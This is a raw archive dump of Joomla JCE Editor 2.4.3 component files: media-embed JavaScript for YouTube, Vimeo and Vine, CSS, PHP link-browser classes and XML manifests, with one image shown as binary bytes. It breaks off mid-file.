WFWindowPopup={init:function(width,height,click){this.width=parseInt(width);this.height=parseInt(height);this.click=!!click;if(!this.width&&!this.height){return;} if(!domLoaded){return ready();} this._init();},_init:function(){this.resize();if(this.click){this.noclick();}},resize:function(){var x,oh=0;var vw=win.innerWidth||doc.documentElement.clientWidth||body.clientWidth||0;var vh=win.innerHeight||doc.documentElement.clientHeight||body.clientHeight||0;var divs=doc.getElementsByTagName('div');for(x=0;xcom_jce/media/css/index.html000066600000000054150771500630012016 0ustar00com_jce/media/css/popup.css000066600000001031150771500630011672 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ body{margin:0;padding:0;}div#wf_popup_image{margin:0;padding:0;display:block;}div#wf_popup_image div{margin:0;padding:0;float:left;}div#wf_popup_image div.contentheading{width:95%;}div#wf_popup_image div.buttonheading{float:right;}div#wf_popup_image div img{margin:0;padding:0;cursor:pointer;border:0;vertical-align:middle;}com_jce/media/img/index.html000066600000000054150771500630012002 0ustar00com_jce/media/img/print.png000066600000001221150771500630011644 0ustar00PNG  IHDRaXIDATxڍQHSQ)P!`aL C[luSPKw#r\7'M%_DG%SQc$8H^ :_X{ι_-r m >Af}to T Ʃ8}|'YF|q4n5Fn7?ZEޣS|绖)Ri68~[Unv:;ۗ?Iw!2+q  rȥ e 7%I<(9Bgww2Ţd2p8E. ЊF ,-cpphannn=Nd2MMf 78u] 53\>SlazukUU ;WIENDB`com_jce/editor/extensions/aggregator/vimeo.php000066600000002347150771500630015620 0ustar00 'video' )); } function display() { $document = WFDocument::getInstance(); $document->addScript('vimeo', 'extensions/aggregator/vimeo/js'); } function isEnabled() { $plugin = WFEditorPlugin::getInstance(); return $plugin->checkAccess('aggregator.vimeo.enable', 1); } function getParams() { $plugin = WFEditorPlugin::getInstance(); return array( 'width' => $plugin->getParam('aggregator.vimeo.width', 400), 'height' => $plugin->getParam('aggregator.vimeo.height', 225) ); } }com_jce/editor/extensions/aggregator/youtube.xml000066600000002377150771500630016211 0ustar00 WF_AGGREGATOR_YOUTUBE_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_AGGREGATOR_YOUTUBE_DESC youtube.php youtube com_jce/editor/extensions/aggregator/vine/js/vine.js000066600000003474150771500630016646 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ WFAggregator.add('vine',{params:{type:'simple',size:600},setup:function(){$('#vine_size').change(function(){$('#width, #height').val(this.value).change();});},getTitle:function(){return this.title||this.name;},getType:function(){return'iframe';},isSupported:function(v){if(typeof v=='object'){v=v.src||v.data||'';} if(/vine\.co\/(.+)/.test(v)){return'vine';} return false;},getValues:function(src){var self=this,data={},args={},type=this.getType(),id='';$.extend(args,$.String.query(src));$('input, select','#vine_options').each(function(){var k=$(this).attr('id'),v=$(this).val();k=k.substr(k.indexOf('_')+1);if($(this).is(':checkbox')){v=$(this).is(':checked')?1:0;} args[k]=v;});var s=/vine\.co\/v\/([a-z0-9A-Z]+)\/?/.exec(src);if(s&&s.length>1){id=s[1];} src='//vine.co/v/'+id+'/embed/'+(args.type||this.params.type||'');data.src=src;$.extend(data,{'frameborder':0,'class':'vine-embed','width':args.size||this.params.size,'height':args.size||this.params.size});return data;},setValues:function(data){var self=this,src=data.src||data.data||'',id='';if(!src){return data;} var s=/vine\.co\/v\/([a-z0-9A-Z]+)\/?(embed)?\/?(simple|postcard)?/.exec(src);if(s&&s.length>1){id=s[1];data.type=s.length==4?s[3]:'';} data.src='//vine.co/v/'+id+'/embed/';data.size=data.width||data.height||this.params.size;return data;},getAttributes:function(src){var args={},data=this.setValues({src:src})||{};$.each(data,function(k,v){if(k=='src'){return;} args['vine_'+k]=v;});$.extend(args,{'src':data.src||src,'width':this.params.size,'height':this.params.size});return args;},setAttributes:function(){},onSelectFile:function(){},onInsert:function(){}});com_jce/editor/extensions/aggregator/vine/js/index.html000066600000000054150771500630017333 0ustar00com_jce/editor/extensions/aggregator/vine/tmpl/default.php000066600000002664150771500630020044 0ustar00
    com_jce/editor/extensions/aggregator/vine/tmpl/index.html000066600000000054150771500630017673 0ustar00com_jce/editor/extensions/aggregator/vine/index.html000066600000000054150771500630016717 0ustar00com_jce/editor/extensions/aggregator/vine.php000066600000002341150771500630015434 0ustar00 'video' )); } function display() { $document = WFDocument::getInstance(); $document->addScript('vine', 'extensions/aggregator/vine/js'); } function isEnabled() { $plugin = WFEditorPlugin::getInstance(); return $plugin->checkAccess('aggregator.vine.enable', 1); } function getParams() { $plugin = WFEditorPlugin::getInstance(); return array( 'type' => $plugin->getParam('aggregator.vine.type', 'simple'), 'size' => $plugin->getParam('aggregator.vine.size', 600) ); } }com_jce/editor/extensions/aggregator/youtube/js/index.html000066600000000054150771500630020066 0ustar00com_jce/editor/extensions/aggregator/youtube/js/youtube.js000066600000007436150771500630020136 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ WFAggregator.add('youtube',{params:{width:425,height:350,embed:true},props:{rel:1,autohide:2,autoplay:0,controls:1,enablejsapi:0,loop:0,playlist:'',start:'',privacy:0},setup:function(){},getTitle:function(){return this.title||this.name;},getType:function(){return $('#youtube_embed:visible').is(':checked')?'flash':'iframe';},isSupported:function(v){if(typeof v=='object'){v=v.src||v.data||'';} if(/youtu(\.)?be(.+)?\/(.+)/.test(v)){return'youtube';} return false;},getValues:function(src){var self=this,data={},args={},type=this.getType(),id,query={};var u=this.parseURL(src);if(u.query){query=$.String.query(u.query);} $.extend(args,query);src=src.replace(/^http(s)?:\/\//,'//');$(':input','#youtube_options').not('#youtube_embed, #youtube_https, #youtube_privacy').each(function(){var k=$(this).attr('id'),v=$(this).val();k=k.substr(k.indexOf('_')+1);if($(this).is(':checkbox')){v=$(this).is(':checked')?1:0;} if(k=='autohide'){v=parseInt(v);} if(self.props[k]===v||v===''){return;} args[k]=v;});src=src.replace(/youtu(\.)?be([^\/]+)?\/(.+)/,function(a,b,c,d){d=d.replace(/(watch\?v=|v\/|embed\/)/,'');if(b&&!c){c='.com';} id=d.replace(/([^\?&#]+)/,function($0,$1){return $1;});return'youtube'+c+'/'+(type=='iframe'?'embed':'v')+'/'+d;});if(id&&args.loop&&!args.playlist){args.playlist=id;} if($('#youtube_privacy').is(':checked')){src=src.replace(/youtube\./,'youtube-nocookie.');}else{src=src.replace(/youtube-nocookie\./,'youtube.');} if(type=='iframe'){$.extend(data,{allowfullscreen:true,frameborder:0});args['wmode']='opaque';}else{$.extend(true,data,{param:{allowfullscreen:true,wmode:'opaque'}});} var q=$.param(args);if(q){src=src+(/\?/.test(src)?'&':'?')+q;} data.src=src;return data;},parseURL:function(url){var o={};url=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(url);$.each(["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],function(i,v){var s=url[i];if(s){o[v]=s;}});return o;},setValues:function(data){var self=this,id='',src=data.src||data.data||'',query={};if(!src){return data;} var u=this.parseURL(src);if(u.query){query=$.String.query(u.query);} $.extend(data,query);src=src.replace(/^http(s)?:\/\//,'//');if(src.indexOf('youtube-nocookie')!==-1){data['privacy']=true;} if(data.param){data['embed']=true;} if(query.v){id=query.v;delete query.v;}else{var s=/\/?(embed|v)?\/([\w]+)\b/.exec(u.path);if(s&&$.type(s)==="array"){id=s.pop();}} if(data.playlist){data.playlist=decodeURIComponent(data.playlist);} if(data.playlist===id){data.playlist=null;} if(query.wmode){delete query.wmode;} $.each(query,function(k,v){if(typeof self.props[k]=='undefined'){$('#youtube_options table').append('');}});src=src.replace(/youtu(\.)?be([^\/]+)?\/(.+)/,function(a,b,c,d){var args='youtube';if(b){args+='.com';} if(c){args+=c;} if($('#youtube_embed').is(':checked')){args+='/v';}else{args+='/embed';} args+='/'+id;if(u.anchor){var s=u.anchor;s=s.replace(/(\?|&)(.+)/,'');args+='#'+s;} return args;}).replace(/\/\/youtube/i,'//www.youtube');data.src=src;return data;},getAttributes:function(src){var args={},data=this.setValues({src:src})||{};$.each(data,function(k,v){if(k=='src'){return;} args['youtube_'+k]=v;});$.extend(args,{'src':data.src||src,'width':this.params.width,'height':this.params.height});return args;},setAttributes:function(){},onSelectFile:function(){},onInsert:function(){}});com_jce/editor/extensions/aggregator/youtube/tmpl/default.php000066600000006573150771500630020602 0ustar00
    com_jce/editor/extensions/aggregator/youtube/tmpl/index.html000066600000000054150771500630020426 0ustar00com_jce/editor/extensions/aggregator/youtube/index.html000066600000000054150771500630017452 0ustar00com_jce/editor/extensions/aggregator/vimeo/js/index.html000066600000000054150771500630017511 0ustar00com_jce/editor/extensions/aggregator/vimeo/js/vimeo.js000066600000005556150771500630017205 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ WFAggregator.add('vimeo',{params:{width:400,height:225,embed:true},props:{color:'',autoplay:0,loop:0,portrait:1,title:1,byline:1,fullscreen:1},setup:function(){$('#vimeo_embed').toggle(this.params.embed);},getTitle:function(){return this.title||this.name;},getType:function(){return $('#vimeo_embed').is(':checked')?'flash':'iframe';},isSupported:function(v){if(typeof v=='object'){v=v.src||v.data||'';} if(/vimeo(.+)?\/(.+)/.test(v)){if(/\/external\//.test(v)){return false;} return'vimeo';} return false;},getValues:function(src){var self=this,data={},args={},type=this.getType(),id='';if(src.indexOf('=')!==-1){$.extend(args,$.String.query(src));} $('input, select','#vimeo_options').not('#vimeo_embed').each(function(){var k=$(this).attr('id'),v=$(this).val();k=k.substr(k.indexOf('_')+1);if($(this).is(':checkbox')){v=$(this).is(':checked')?1:0;} if(self.props[k]===v||v===''){return;} switch(k){case'color':if(v.charAt(0)=='#'){v=v.substr(1);} break;case'portrait':case'title':case'byline':if(type=='flash'){k='show_'+k;} break;} args[k]=v;});if(args.clip_id){id=args.clip_id;}else{var s=/vimeo.com(\/video)?\/([0-9]+)/.exec(src);if(s&&$.type(s)==="array"){id=s.pop();}} if(type=='flash'){src='http://vimeo.com/moogaloop.swf?clip_id='+id;}else{src='//player.vimeo.com/video/'+id;} var query=$.param(args);if(query){src=src+(/\?/.test(src)?'&':'?')+query;} data.src=src;if(type=='iframe'){$.extend(data,{frameborder:0});}else{$.extend(true,data,{param:{allowfullscreen:true,wmode:'opaque'}});} return data;},setValues:function(data){var self=this,src=data.src||data.data||'',id='';if(!src){return data;} var query=$.String.query(src);$.extend(data,query);src=src.replace(/&/g,'&');if(/moogaloop.swf/.test(src)){data['embed']=true;$.each(['portrait','title','byline'],function(i,s){var v=query['show_'+s];if(typeof v!='undefined'){data[s]=v;delete data['show_'+s];}});id=query['clip_id'];delete data['clip_id'];delete query['clip_id'];}else{var s=/vimeo\.com\/(video\/)?([0-9]+)/.exec(src);if(s&&$.type(s)==="array"){id=s.pop();}} $.each(query,function(k,v){if(typeof self.props[k]=='undefined'){$('#vimeo_options table').append('');}});src='//vimeo.com/'+id;if(data['color']&&data['color'].charAt(0)!='#'){data['color']='#'+data['color'];} data.src=src;return data;},getAttributes:function(src){var args={},data=this.setValues({src:src})||{};$.each(data,function(k,v){if(k=='src'){return;} args['vimeo_'+k]=v;});$.extend(args,{'src':data.src||src,'width':this.params.width,'height':this.params.height});return args;},setAttributes:function(){},onSelectFile:function(){},onInsert:function(){}});com_jce/editor/extensions/aggregator/vimeo/tmpl/default.php000066600000005222150771500630020213 0ustar00
    com_jce/editor/extensions/aggregator/vimeo/tmpl/index.html000066600000000054150771500630020051 0ustar00com_jce/editor/extensions/aggregator/vimeo/index.html000066600000000054150771500630017075 0ustar00com_jce/editor/extensions/aggregator/index.html000066600000000054150771500630015756 0ustar00com_jce/editor/extensions/aggregator/build.xml000066600000012352150771500630015606 0ustar00 com_jce/editor/extensions/aggregator/vine.xml000066600000003064150771500630015450 0ustar00 WF_AGGREGATOR_VINE_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_AGGREGATOR_VINE_DESC vine.php vine com_jce/editor/extensions/aggregator/youtube.php000066600000002366150771500630016176 0ustar00 'video' )); } function display() { $document = WFDocument::getInstance(); $document->addScript('youtube', 'extensions/aggregator/youtube/js'); } function isEnabled() { $plugin = WFEditorPlugin::getInstance(); return $plugin->checkAccess('aggregator.youtube.enable', 1); } function getParams() { $plugin = WFEditorPlugin::getInstance(); return array( 'width' => $plugin->getParam('aggregator.youtube.width', 425), 'height' => $plugin->getParam('aggregator.youtube.height', 350) ); } }com_jce/editor/extensions/aggregator/vimeo.xml000066600000002357150771500630015632 0ustar00 WF_AGGREGATOR_VIMEO_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_AGGREGATOR_VIMEO_DESC vimeo.php vimeo com_jce/editor/extensions/mediaplayer/jceplayer.xml000066600000002400150771500630016630 0ustar00 WF_MEDIAPLAYER_JCEPLAYER_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_MEDIAPLAYER_JCEPLAYER_DESC jceplayer.php jceplayer mediaplayer com_jce/editor/extensions/mediaplayer/jceplayer.php000066600000002372150771500630016627 0ustar00 'jceplayer', 'title' => 'JCE MediaPlayer', 'params'=> self::getParams() ); parent::__construct($options); } function getParams() { $plugin = WFEditorPlugin::getInstance(); return array( 'extensions' => $plugin->getParam('jceplayer.extensions', 'flv,f4v,mp3,mp4'), 'dimensions' => array( 'audio' => array('width'=> 300, 'height' => 35) ), 'path' => $plugin->getParam('jceplayer.path', 'media/jce/mediaplayer/mediaplayer.swf') ); } function isEnabled() { return true; } } ?>com_jce/editor/extensions/mediaplayer/index.html000066600000000054150771500630016130 0ustar00com_jce/editor/extensions/mediaplayer/jceplayer/js/index.html000066600000000054150771500630020522 0ustar00com_jce/editor/extensions/mediaplayer/jceplayer/js/jceplayer.js000066600000010534150771500630021045 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ WFMediaPlayer.init({params:{extensions:'mp3,mp4,flv,f4v',dimensions:{'audio':{width:300,height:35}},path:'media/jce/mediaplayer/mediaplayer.swf'},props:{autoPlay:false,controlBarAutoHide:true,controlBarMode:'docked',controlBarAutoHideTimeout:'',loop:false,muted:false,playButtonOverlay:true,bufferingOverlay:true,volume:1,audioPan:0,poster:'',endOfVideoOverlay:'',backgroundColor:''},type:'flash',setup:function(){$('#mediaplayer_volume, #mediaplayer_audioPan').each(function(){var n=this;$('').insertAfter(this).slider();});$('#mediaplayer_volume').change(function(){var v=parseFloat($(this).val());v=Math.ceil(v);$('#mediaplayer_volume_slider').slider('value',v);$(this).val(v);});$('#mediaplayer_audioPan').change(function(){$('#mediaplayer_audioPan_slider').slider('value',($(this).val()*10)+20);});$('#mediaplayer_volume_slider').slider('option',{min:0,max:100,step:10,value:$('#mediaplayer_volume').val(),slide:function(event,ui){$('#mediaplayer_volume').val(ui.value);}});$('#mediaplayer_audioPan_slider').slider('option',{min:10,max:30,step:1,value:($('#mediaplayer_audioPan').val()*10)+20,slide:function(event,ui){$('#mediaplayer_audioPan').val((ui.value-20)/10);}});},isSupported:function(data){var r,file='',ext=tinymce.explode(this.getParam('extensions')).join('|'),re=new RegExp('\.('+ext+')$','i');var src=data.src||data.data||'';if(data.param){var fv=this.parseValues(data.param.flashvars||'');if(fv){file=fv.src||'';}} r=re.test(src)||re.test(file);if(!r){return new RegExp(this.getPath()).test(src);} return r;},getValues:function(s,args){var self=this,s,u,k,v,data=[];var url=tinyMCEPopup.getParam('document_base_url');if(!/http(s)?:\/\//.test(s)){s=$.String.path(url,s);} data.push('src='+$.String.encodeURI(s,true));args=args||{};$(':input','#mediaplayer_options').each(function(){k=$(this).attr('id'),v=$(this).val();if(k){k=k.substr(k.indexOf('_')+1);if($(this).is(':checkbox')){v=$(this).is(':checked');} if(typeof args[k]=='undefined'){args[k]=v;}}});var map={'autoplay':'autoPlay','controls':'controlBarAutoHide'};$.each(args,function(k,v){if(typeof k!='string'){return;} if(map[k]){k=map[k];} if(typeof self.props[k]=='undefined'){return;} switch(k){case'volume':v=parseInt(v)/100;break;case'audioPan':v=parseInt(v);break;case'backgroundColor':v=v.replace('#','0x');break;case'poster':case'endOfVideoOverlay':if(v){u=/http(s)?:\/\/[^\/]+(.*)/.exec(url);s=(u&&u.length>1)?u[2]:'';v=$.String.path(s,v);} break;default:break;} if(k=='controlBarAutoHide'){v=!v;} if(self.props[k]===v||v===''){return;} data.push(k+'='+$.String.encodeURI(v,true));});return{'src':this.getPath(),'type':'application/x-shockwave-flash','param':{'flashvars':data.join('&'),'allowfullscreen':true,'wmode':'opaque'}};},parseValues:function(s){var ed=tinyMCEPopup.editor,data={},o=$.String.query(s.replace(/\?/,'&'));$.each(o,function(k,v){switch(k){case'src':data['src']=ed.convertURL(v);break;case'volume':data['volume']=parseInt(v)*100;break;case'backgroundColor':data[k]=v.replace('0x','#');break;case'loop':case'autoPlay':case'muted':case'playButtonOverlay':case'bufferingOverlay':v=(v==='false'||v==='0')?false:!!v;data[k]=v;break;case'controlBarAutoHide':v=(v==='false'||v==='0')?false:!!v;data[k]=!v;break;case'poster':case'endOfVideoOverlay':data[k]=ed.convertURL(ed.documentBaseURI.toAbsolute(v));break;default:data[k]=v;break;}});return data;},setValues:function(data){var fv=data.flashvars||data.param.flashvars||'';var at=this.parseValues(decodeURIComponent(fv));$.each(at,function(k,v){if(k=='src'){return;} data[k]=v;});data.controlBarAutoHide=!!data.controlBarAutoHide;data.src=at.src;return data;},onSelectFile:function(file){if(file&&/\.mp3$/.test(file)){$('#mediaplayer_controlBarMode').val('floating').prop('disabled',true);}else{$('#mediaplayer_controlBarMode').val('docked').prop('disabled',false);}},onInsert:function(){var src=$('#src').val(),mp3=/\.mp3$/.test(src),dimensions=this.getParam('dimensions');if(mp3&&dimensions.audio){$('#width').val(dimensions.audio.width);$('#height').val(dimensions.audio.height);} $('#flash_wmode').val('opaque');$('#flash_allowfullscreen').attr('checked',!mp3);$('#flash_menu').attr('checked',true);}});com_jce/editor/extensions/mediaplayer/jceplayer/tmpl/default.php000066600000012531150771500630021225 0ustar00
    com_jce/editor/extensions/mediaplayer/jceplayer/tmpl/index.html000066600000000054150771500630021062 0ustar00com_jce/editor/extensions/mediaplayer/jceplayer/index.html000066600000000054150771500630020106 0ustar00com_jce/editor/extensions/mediaplayer/jceplayer/css/index.html000066600000000054150771500630020676 0ustar00com_jce/editor/extensions/mediaplayer/jceplayer/css/jceplayer.css000066600000001237150771500630021375 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ #mediaplayer_options input.browser{width:300px;}#mediaplayer_controlBarAutoHideTimeout{width:50px;}#mediaplayer_audioPan,#mediaplayer_volume{width:30px;}#mediaplayer_options span.ui-slider{width:100px;}label[for="mediaplayer_loop"],label[for="mediaplayer_autoPlay"],label[for="mediaplayer_muted"]{min-width:80px;}label[for="mediaplayer_playButtonOverlay"],label[for="mediaplayer_bufferingOverlay"]{min-width:140px;}span.ui-slider-block{display:inline-block;}com_jce/editor/extensions/index.html000066600000000054150771500630013634 0ustar00com_jce/editor/extensions/links/k2links.php000066600000005017150771500630015051 0ustar00_adapters[] = new $classname; } } } /** * Returns a reference to a editor object * * This method must be invoked as: *
      $browser =JContentEditor::getInstance();
    * * @access public * @return JCE The editor object. * @since 1.5 */ function &getInstance(){ static $instance; if ( !is_object( $instance ) ){ $instance = new WFLinkBrowser_K2links(); } return $instance; } function display() { } function isEnabled() { $wf = WFEditorPlugin::getInstance(); return $wf->checkAccess($wf->getName() . '.links.k2links.enable', 1); } function getOption() { foreach( $this->_adapters as $adapter ){ $this->_option[]= $adapter->getOption(); } return $this->_option; } function getList() { $list = ''; foreach( $this->_adapters as $adapter ){ $list .= $adapter->getList(); } return $list; } function getLinks( $args ) { foreach( $this->_adapters as $adapter ){ if( $adapter->getOption() == $args->option ){ if(property_exists($args, 'task')) { $task = $args->task; } else { $task = 'category'; } if($adapter->getTask() == $task) { return $adapter->getLinks( $args ); } } } } } ?>com_jce/editor/extensions/links/index.html000066600000000054150771500630014754 0ustar00com_jce/editor/extensions/links/joomlalinks.xml000066600000007366150771500630016040 0ustar00 WF_LINKS_JOOMLALINKS_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_LINKS_JOOMLALINKS_DESC joomlalinks.php joomlalinks com_jce/editor/extensions/links/joomlalinks.php000066600000004526150771500630016022 0ustar00_adapters[] = new $classname; } } } } public function display() { // Load css $document = WFDocument::getInstance(); $document->addStyleSheet(array('joomlalinks'), 'extensions/links/joomlalinks/css'); } public function isEnabled() { $wf = WFEditorPlugin::getInstance(); return $wf->checkAccess($wf->getName() . '.links.joomlalinks.enable', 1); } public function getOption() { foreach ($this->_adapters as $adapter) { $this->_option[] = $adapter->getOption(); } return $this->_option; } public function getList() { $list = ''; foreach ($this->_adapters as $adapter) { $list .= $adapter->getList(); } return $list; } public function getLinks($args) { foreach ($this->_adapters as $adapter) { if ($adapter->getOption() == $args->option) { return $adapter->getLinks($args); } } } } ?>com_jce/editor/extensions/links/k2links.xml000066600000002554150771500630015065 0ustar00 K2 Links for JCE Link 2.2 31 January 2013 Nicholas K. Dionysopoulos nicholas@dionysopoulos.me http://www.dionysopoulos.me Copyright (C) 2009 - 2013 Nicholas K. Dionysopoulos. All Rights Reserved. GNU GPL v.3 or later K2 Links for JCE 2.0 k2links.php k2links/index.html k2links/k2.php k2links/tags.php com_jce/editor/extensions/links/joomlalinks/weblinks.php000066600000022702150771500630017634 0ustar00 $browser =JContentEditor::getInstance(); * * @access public * @return JCE The editor object. * @since 1.5 */ public static function getInstance() { static $instance; if (!is_object($instance)) { $instance = new JoomlalinksWeblinks(); } return $instance; } public function getOption() { return $this->_option; } public function getList() { $wf = WFEditorPlugin::getInstance(); if ($wf->checkAccess('links.joomlalinks.weblinks', 1)) { return '
  • '; } } public function getLinks($args) { $wf = WFEditorPlugin::getInstance(); $items = array(); if (!defined('JPATH_PLATFORM')) { require_once(JPATH_SITE . '/includes/application.php'); } require_once(JPATH_SITE . '/components/com_weblinks/helpers/route.php'); $language = ''; switch ($args->view) { // Get all WebLink categories default: case 'categories': $categories = WFLinkBrowser::getCategory('com_weblinks'); foreach ($categories as $category) { $url = ''; if (method_exists('WeblinksHelperRoute', 'getCategoryRoute')) { // language if (isset($category->language)) { $language = $category->language; } $id = WeblinksHelperRoute::getCategoryRoute($category->id, $language); if (strpos($id, 'index.php?Itemid=') !== false) { $url = $id; $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id; } } else { $itemid = WFLinkBrowser::getItemId('com_weblinks', array('categories' => null, 'category' => $category->id)); $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id . $itemid; } $items[] = array( 'url' => self::route($url), 'id' => $id, 'name' => $category->title . ' / ' . $category->alias, 'class' => 'folder weblink' ); } break; // Get all links in the category case 'category': if (defined('JPATH_PLATFORM')) { $categories = WFLinkBrowser::getCategory('com_weblinks', $args->id); if (count($categories)) { foreach ($categories as $category) { $children = WFLinkBrowser::getCategory('com_weblinks', $category->id); $url = ''; if ($children) { $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id; } else { if (method_exists('WeblinksHelperRoute', 'getCategoryRoute')) { // language if (isset($category->language)) { $language = $category->language; } $id = WeblinksHelperRoute::getCategoryRoute($category->id, $language); if (strpos($id, 'index.php?Itemid=') !== false) { $url = $id; $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id; } } else { $itemid = WFLinkBrowser::getItemId('com_weblinks', array('categories' => null, 'category' => $category->id)); $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id . $itemid; } } $items[] = array( 'url' => self::route($url), 'id' => $id, 'name' => $category->title . ' / ' . $category->alias, 'class' => 'folder weblink' ); } } } $weblinks = self::_weblinks($args->id); foreach ($weblinks as $weblink) { // language if (isset($weblink->language)) { $language = $weblink->language; } $id = WeblinksHelperRoute::getWeblinkRoute($weblink->slug, $weblink->catslug, $language); if (defined('JPATH_PLATFORM')) { $id .= '&task=weblink.go'; } $items[] = array( 'id' => self::route($id), 'name' => $weblink->title . ' / ' . $weblink->alias, 'class' => 'file' ); } break; } return $items; } function _weblinks($id) { $wf = WFEditorPlugin::getInstance(); $db = JFactory::getDBO(); $user = JFactory::getUser(); $version = new JVersion(); $language = $version->isCompatible('3.0') ? ', a.language' : ''; $dbquery = $db->getQuery(true); $section = JText::_('Web Links'); $query = 'SELECT a.id AS slug, b.id AS catslug, a.title AS title, a.description AS text, a.url, a.alias'; if ($wf->getParam('links.joomlalinks.weblinks_alias', 1) == 1) { if (is_object($dbquery) && method_exists($dbquery, 'charLength')) { $query .= $language; //sqlsrv changes $case_when1 = ' CASE WHEN '; $case_when1 .= $dbquery->charLength('a.alias', '!=', '0'); $case_when1 .= ' THEN '; $a_id = $dbquery->castAsChar('a.id'); $case_when1 .= $dbquery->concatenate(array($a_id, 'a.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $a_id . ' END as slug'; $case_when2 = ' CASE WHEN '; $case_when2 .= $dbquery->charLength('b.alias', '!=', '0'); $case_when2 .= ' THEN '; $c_id = $dbquery->castAsChar('b.id'); $case_when2 .= $dbquery->concatenate(array($c_id, 'b.alias'), ':'); $case_when2 .= ' ELSE '; $case_when2 .= $c_id . ' END as catslug'; } else { $case_when1 = ' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(\':\', a.id, a.alias) ELSE a.id END as slug'; $case_when2 = ' CASE WHEN CHAR_LENGTH(b.alias) THEN CONCAT_WS(\':\', b.id, b.alias) ELSE b.id END as catslug'; } $query .= ',' . $case_when1 . ',' . $case_when2; } if (method_exists('JUser', 'getAuthorisedViewLevels')) { $where = ' AND a.state = 1'; $where .= ' AND b.access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')'; } else { $where = ' AND a.published = 1'; $where .= ' AND b.access <= ' . (int) $user->get('aid'); } $query .= ' FROM #__weblinks AS a' . ' INNER JOIN #__categories AS b ON b.id = ' . (int) $id . ' WHERE a.catid = ' . (int) $id . $where . ' AND b.published = 1' . ' ORDER BY a.title' ; $db->setQuery($query, 0); return $db->loadObjectList(); } private static function route($url) { $wf = WFEditorPlugin::getInstance(); if ($wf->getParam('links.joomlalinks.sef_url', 0)) { $url = WFLinkExtension::route($url); } return $url; } } ?> com_jce/editor/extensions/links/joomlalinks/index.html000066600000000054150771500630017276 0ustar00com_jce/editor/extensions/links/joomlalinks/contact.php000066600000016651150771500630017457 0ustar00 $browser =JContentEditor::getInstance(); * * @access public * @return JCE The editor object. * @since 1.5 */ public static function getInstance() { static $instance; if (!is_object($instance)) { $instance = new JoomlalinksContact(); } return $instance; } public function getOption() { return $this->_option; } public function getList() { //Reference to JConentEditor (JCE) instance $wf = WFEditorPlugin::getInstance(); if ($wf->checkAccess('links.joomlalinks.contacts', 1)) { return '
  • '; } } public function getLinks($args) { $items = array(); $view = isset($args->view) ? $args->view : ''; $language = ''; if (defined('JPATH_PLATFORM')) { require_once(JPATH_SITE . '/components/com_contact/helpers/route.php'); } switch ($view) { default: if (defined('JPATH_PLATFORM')) { $categories = WFLinkBrowser::getCategory('com_contact'); } else { $categories = WFLinkBrowser::getCategory('com_contact_details'); } foreach ($categories as $category) { if (defined('JPATH_PLATFORM')) { // language if (isset($category->language)) { $language = $category->language; } $url = ContactHelperRoute::getCategoryRoute($category->id, $language); } else { $itemid = WFLinkBrowser::getItemId('com_contact', array('category' => $category->id)); $url = 'index.php?option=com_contact&view=category&catid=' . $category->slug . $itemid; } // convert to SEF $url = self::route($url); $items[] = array( 'id' => 'index.php?option=com_contact&view=category&id=' . $category->id, 'url' => $url, 'name' => $category->title . ' / ' . $category->alias, 'class' => 'folder contact' ); } break; case 'category': if 